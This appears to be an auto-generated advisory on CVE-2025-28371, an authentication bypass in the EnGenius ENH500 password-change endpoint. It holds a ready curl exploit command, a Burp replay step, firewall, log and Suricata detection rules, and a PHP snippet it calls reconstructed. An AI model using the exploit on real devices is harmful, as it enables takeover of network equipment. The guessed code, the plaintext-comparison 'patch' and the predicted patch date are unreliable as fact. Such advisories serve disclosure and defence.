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How CVE-2025-28371 Works
The EnGenius ENH500 AP 2T2R V3.0 running firmware FW3.7.22 fails to enforce proper authentication checks during password changes. Attackers can bypass current password validation by sending a crafted HTTP POST request to the password change endpoint (/password.cgi). The device processes the request without verifying the existing credentials, allowing unauthorized password modification. This vulnerability stems from missing server-side validation in the web management interface, enabling privilege escalation or persistent access.
DailyCVE Form:
Platform: EnGenius ENH500
Version: FW3.7.22
Vulnerability: Auth bypass
Severity: Critical
Date: 2025-06-12
Prediction: Patch by 2025-08-15
What Undercode Say:
Exploitation:
1. Craft malicious POST request:
curl -X POST http://<TARGET_IP>/password.cgi -d "new_password=attacker123&confirm_password=attacker123"
2. Burp Suite replay: Capture legit password change request, remove `current_password` field.
Mitigation:
1. Temporary fix: Block `/password.cgi` via firewall rules:
iptables -A INPUT -p tcp --dport 80 -m string --string "/password.cgi" --algo bm -j DROP
2. Detection: Monitor logs for repeated POSTs to /password.cgi:
grep "POST /password.cgi" /var/log/nginx/access.log
Code Analysis:
Vulnerable PHP snippet (reconstructed):
if (isset($_POST['new_password'])) {
$new_pass = sanitize($_POST['new_password']); // No current_pass check
update_db_password($new_pass); // Direct DB write
}
Patch Expectation:
EnGenius must add server-side validation:
if ($_POST['current_password'] != get_stored_password()) {
die("Invalid current password");
}
Network Analytics:
Detect exploit attempts with Suricata rule:
alert http any any -> $HOME_NET 80 (msg:"CVE-2025-28371 Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/password.cgi"; http_uri; content:"new_password"; nocase; sid:50028371; rev:1;)
Post-Exploit Impact:
- Full device compromise via admin credential overwrite.
- Pivot to internal networks via rogue AP config.
Recommended Actions:
1. Immediate: Disable web management interface.
2. Long-term: Await firmware update, verify checksums.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
